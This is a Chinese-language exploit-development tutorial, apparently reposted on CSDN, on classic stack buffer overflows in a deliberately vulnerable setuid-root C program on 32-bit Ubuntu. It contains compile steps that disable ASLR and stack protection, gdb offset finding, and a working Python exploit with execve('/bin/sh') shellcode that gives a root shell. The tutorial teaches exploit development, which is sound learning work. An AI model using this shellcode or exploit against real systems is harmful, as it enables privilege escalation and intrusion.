Linux x86 漏洞利用-基于经典堆栈的缓冲区溢出

基于经典堆栈的缓冲区溢出

VM设置:Ubuntu 12.04(x86)

这篇文章是最简单的漏洞利用开发教程系列,在互联网上你可以找到很多关于它的文章。虽然它很丰富和熟悉,但我更喜欢为它写自己的博客文章,因为它将成为我未来很多帖子的先决条件!

什么是缓冲区溢出?

将源缓冲区复制到目标缓冲区可能会导致溢出

  1. 源字符串长度大于目标字符串长度。
  2. 没有进行尺寸检查。

缓冲区溢出有两种类型:

  1. 基于堆栈的缓冲区溢出 - 目标缓冲区驻留在堆栈中
  2. 基于堆的缓冲区溢出 - 目标缓冲区驻留在堆中

在这篇文章中,我将仅讨论基于堆栈的缓冲区溢出。
缓冲区溢出错误导致任意代码执行!!

什么是任意代码执行?

任意代码执行允许攻击者执行其代码以获得对受害者机器的控制。使用诸如生成root shell,添加新用户,打开网络端口等许多方法来获得对受害者机器的控制…
听起来很有趣,足够的定义让我们看看缓冲区溢出易受攻击的代码!

易受攻击的代码:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

编译命令:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

上述易受攻击程序的第[2]行向我们显示存在缓冲区溢出错误。而且这个bug可能导致任意代码执行,因为源缓冲区内容是用户提供的输入!!

如何实现任意代码执行?

使用称为“ 返回地址覆盖 ” 的技术实现任意代码执行。此技术可帮助攻击者覆盖堆栈中的“返回地址”,这种覆盖会导致任意代码执行。
在查看漏洞利用代码之前,为了更好地理解,让我们反汇编并绘制易受攻击代码的堆栈布局!

反汇编

(gdb) disassemble main
Dump of assembler code for function main:
   //Function Prologue
   0x08048414 <+0>:	push   %ebp                      //backup caller's ebp
   0x08048415 <+1>:	mov    %esp,%ebp                 //set callee's ebp to esp

   0x08048417 <+3>:	and    $0xfffffff0,%esp          //stack alignment
   0x0804841a <+6>:	sub    $0x110,%esp               //stack space for local variables
   0x08048420 <+12>:	mov    0xc(%ebp),%eax            //eax = argv
   0x08048423 <+15>:	add    $0x4,%eax                 //eax = &argv[1]
   0x08048426 <+18>:	mov    (%eax),%eax               //eax = argv[1]
   0x08048428 <+20>:	mov    %eax,0x4(%esp)            //strcpy arg2 
   0x0804842c <+24>:	lea    0x10(%esp),%eax           //eax = 'buf' 
   0x08048430 <+28>:	mov    %eax,(%esp)               //strcpy arg1
   0x08048433 <+31>:	call   0x8048330 <strcpy@plt>    //call strcpy
   0x08048438 <+36>:	mov    $0x8048530,%eax           //eax = format str "Input:%s\n"
   0x0804843d <+41>:	lea    0x10(%esp),%edx           //edx = buf
   0x08048441 <+45>:	mov    %edx,0x4(%esp)            //printf arg2
   0x08048445 <+49>:	mov    %eax,(%esp)               //printf arg1
   0x08048448 <+52>:	call   0x8048320 <printf@plt>    //call printf
   0x0804844d <+57>:	mov    $0x0,%eax                 //return value 0

   //Function Epilogue
   0x08048452 <+62>:	leave                            //mov ebp, esp; pop ebp; 
   0x08048453 <+63>:	ret                              //return
End of assembler dump.
(gdb)

堆栈布局:

堆栈布局
我们已经知道,大小超过256的用户输入会溢出目标缓冲区并覆盖存储在堆栈中的返回地址。让我们通过发送一系列“A”来测试它。

测试步骤1:是否可以覆盖返回地址?

$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*300'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*300'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)

上面的输出显示指令指针寄存器(EIP)被“AAAA”覆盖,这确认了返回地址覆盖是可能的!!

测试步骤2:Destination Buffer的偏移量是多少?

这里让我们找出目标缓冲区’buf’的偏移返回地址。已经反编译并绘制了main()的堆栈布局,现在让我们尝试查找偏移位置信息!! 堆栈布局显示返回地址位于距目标缓冲区’buf’的偏移量(0x10c)处。0x10c的计算方法如下:

0x10c = 0x100 + 0x8 + 0x4

  • 0x100是’buf’大小
  • 0x8是对齐空间
  • 0x4是调用者者的EBP

因此,形式为"A"*268 +“B”*4的用户输入用"A"覆盖’buf’,对齐空间和调用者的EBP,并用“BBBB”覆盖返回地址。

$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*268 + "B"*4'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*268 + "B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)

上面的输出显示攻击者可以控制返回地址。位于堆栈位置的返回地址(0xbffff1fc)将被“BBBB”覆盖。通过这些信息,我们编写一个漏洞利用程序来实现任意代码执行。

漏洞利用代码:

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0       
              
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode

print "Calling vulnerable program"
call(["./vuln", buf])

执行上面的exploit程序给我们root shell,如下所示:

$ python exp.py 
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���

# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

注意:为了获得这个root shell,我们关闭了许多漏洞利用缓解技术。

猜你喜欢

转载自blog.csdn.net/z190814412/article/details/86082050
今日推荐